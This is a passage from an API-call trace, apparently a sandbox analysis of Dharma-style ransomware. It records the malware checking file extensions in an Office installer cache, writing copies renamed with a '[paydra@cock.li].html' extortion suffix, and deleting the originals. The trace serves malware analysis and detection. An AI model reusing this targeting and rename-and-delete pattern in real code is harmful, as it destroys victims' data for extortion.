lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.634] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.634] CloseHandle (hObject=0x208) returned 1 [0043.635] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.635] lstrlenW (lpString=".doc") returned 4 [0043.635] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString=".docx") returned 5 [0043.635] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.635] lstrlenW (lpString=".pdf") returned 4 [0043.635] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString=".xls") returned 4 [0043.635] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString=".xlsx") returned 5 [0043.635] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.635] lstrlenW (lpString=".ppt") returned 4 [0043.635] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.635] lstrlenW (lpString=".zip") returned 4 [0043.635] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString=".rar") returned 4 [0043.635] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.635] lstrlenW (lpString=".bz2") returned 4 [0043.635] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.635] lstrlenW (lpString=".7z") returned 3 [0043.635] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString=".dbf") returned 4 [0043.636] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString=".1cd") returned 4 [0043.636] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString=".jpg") returned 4 [0043.636] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString=".doc") returned 4 [0043.636] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString=".docx") returned 5 [0043.636] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.636] lstrlenW (lpString=".pdf") returned 4 [0043.636] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString=".xls") returned 4 [0043.636] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString=".xlsx") returned 5 [0043.636] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.636] lstrlenW (lpString=".ppt") returned 4 [0043.636] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.636] lstrlenW (lpString=".zip") returned 4 [0043.636] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString=".rar") returned 4 [0043.636] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.636] lstrlenW (lpString=".bz2") returned 4 [0043.636] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.636] lstrlenW (lpString=".7z") returned 3 [0043.637] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.637] lstrlenW (lpString=".dbf") returned 4 [0043.637] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.637] lstrlenW (lpString=".1cd") returned 4 [0043.637] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0043.637] lstrlenW (lpString=".jpg") returned 4 [0043.637] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.637] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0043.637] lstrlenW (lpString="DW20.EXE") returned 8 [0043.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.829] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=838536) returned 1 [0043.830] CloseHandle (hObject=0x188) returned 1 [0043.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0043.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.851] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.851] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.852] GetLastError () returned 0x0 [0043.852] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0043.870] WriteFile (in: hFile=0x17c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0043.884] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.884] WriteFile (in: hFile=0x17c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0043.884] SetEndOfFile (hFile=0x17c) returned 1 [0043.884] CloseHandle (hObject=0x17c) returned 1 [0043.884] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.884] SetEndOfFile (hFile=0x188) returned 1 [0043.891] CloseHandle (hObject=0x188) returned 1 [0043.891] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.891] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0043.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.892] lstrlenW (lpString=".doc") returned 4 [0043.892] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0043.892] lstrlenW (lpString=".docx") returned 5 [0043.892] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0043.892] lstrlenW (lpString=".pdf") returned 4 [0043.892] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0043.892] lstrlenW (lpString=".xls") returned 4 [0043.892] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0043.892] lstrlenW (lpString=".xlsx") returned 5 [0043.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0043.892] lstrlenW (lpString=".ppt") returned 4 [0043.892] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0043.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.892] lstrlenW (lpString=".zip") returned 4 [0043.892] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0043.892] lstrlenW (lpString=".rar") returned 4 [0043.892] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0043.892] lstrlenW (lpString=".bz2") returned 4 [0043.892] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0043.892] lstrlenW (lpString=".7z") returned 3 [0043.892] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0043.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.892] lstrlenW (lpString=".dbf") returned 4 [0043.892] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0043.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.892] lstrlenW (lpString=".1cd") returned 4 [0043.892] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString=".jpg") returned 4 [0043.893] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString=".doc") returned 4 [0043.893] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0043.893] lstrlenW (lpString=".docx") returned 5 [0043.893] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0043.893] lstrlenW (lpString=".pdf") returned 4 [0043.893] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString=".xls") returned 4 [0043.893] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString=".xlsx") returned 5 [0043.893] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0043.893] lstrlenW (lpString=".ppt") returned 4 [0043.893] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString=".zip") returned 4 [0043.893] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString=".rar") returned 4 [0043.893] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0043.893] lstrlenW (lpString=".bz2") returned 4 [0043.893] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0043.893] lstrlenW (lpString=".7z") returned 3 [0043.893] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString=".dbf") returned 4 [0043.893] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0043.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.893] lstrlenW (lpString=".1cd") returned 4 [0043.894] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0043.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0043.894] lstrlenW (lpString=".jpg") returned 4 [0043.894] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0043.894] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0043.894] lstrlenW (lpString="dwtrig20.exe") returned 12 [0043.894] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.894] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=519584) returned 1 [0043.894] CloseHandle (hObject=0x188) returned 1 [0043.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0043.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.894] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.894] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.538] GetLastError () returned 0x0 [0044.538] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0044.548] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0044.555] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.556] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.556] SetEndOfFile (hFile=0x214) returned 1 [0044.556] CloseHandle (hObject=0x214) returned 1 [0044.556] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.556] SetEndOfFile (hFile=0x188) returned 1 [0044.560] CloseHandle (hObject=0x188) returned 1 [0044.560] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.560] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0044.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.560] lstrlenW (lpString=".doc") returned 4 [0044.560] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.561] lstrlenW (lpString=".docx") returned 5 [0044.561] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0044.561] lstrlenW (lpString=".pdf") returned 4 [0044.561] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString=".xls") returned 4 [0044.561] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString=".xlsx") returned 5 [0044.561] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0044.561] lstrlenW (lpString=".ppt") returned 4 [0044.561] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString=".zip") returned 4 [0044.561] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString=".rar") returned 4 [0044.561] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString=".bz2") returned 4 [0044.561] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.561] lstrlenW (lpString=".7z") returned 3 [0044.561] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString=".dbf") returned 4 [0044.561] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString=".1cd") returned 4 [0044.561] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString=".jpg") returned 4 [0044.561] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.561] lstrlenW (lpString=".doc") returned 4 [0044.561] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.561] lstrlenW (lpString=".docx") returned 5 [0044.562] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0044.562] lstrlenW (lpString=".pdf") returned 4 [0044.562] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.562] lstrlenW (lpString=".xls") returned 4 [0044.562] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.562] lstrlenW (lpString=".xlsx") returned 5 [0044.562] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0044.562] lstrlenW (lpString=".ppt") returned 4 [0044.562] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.562] lstrlenW (lpString=".zip") returned 4 [0044.562] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.562] lstrlenW (lpString=".rar") returned 4 [0044.562] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.562] lstrlenW (lpString=".bz2") returned 4 [0044.562] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.562] lstrlenW (lpString=".7z") returned 3 [0044.562] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.562] lstrlenW (lpString=".dbf") returned 4 [0044.562] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.562] lstrlenW (lpString=".1cd") returned 4 [0044.562] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0044.562] lstrlenW (lpString=".jpg") returned 4 [0044.562] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.562] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.562] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0044.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.563] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=868864) returned 1 [0044.563] CloseHandle (hObject=0x188) returned 1 [0044.563] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0044.563] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.563] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.563] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.563] GetLastError () returned 0x0 [0044.563] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0044.585] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0044.599] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.599] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0044.599] SetEndOfFile (hFile=0x214) returned 1 [0044.599] CloseHandle 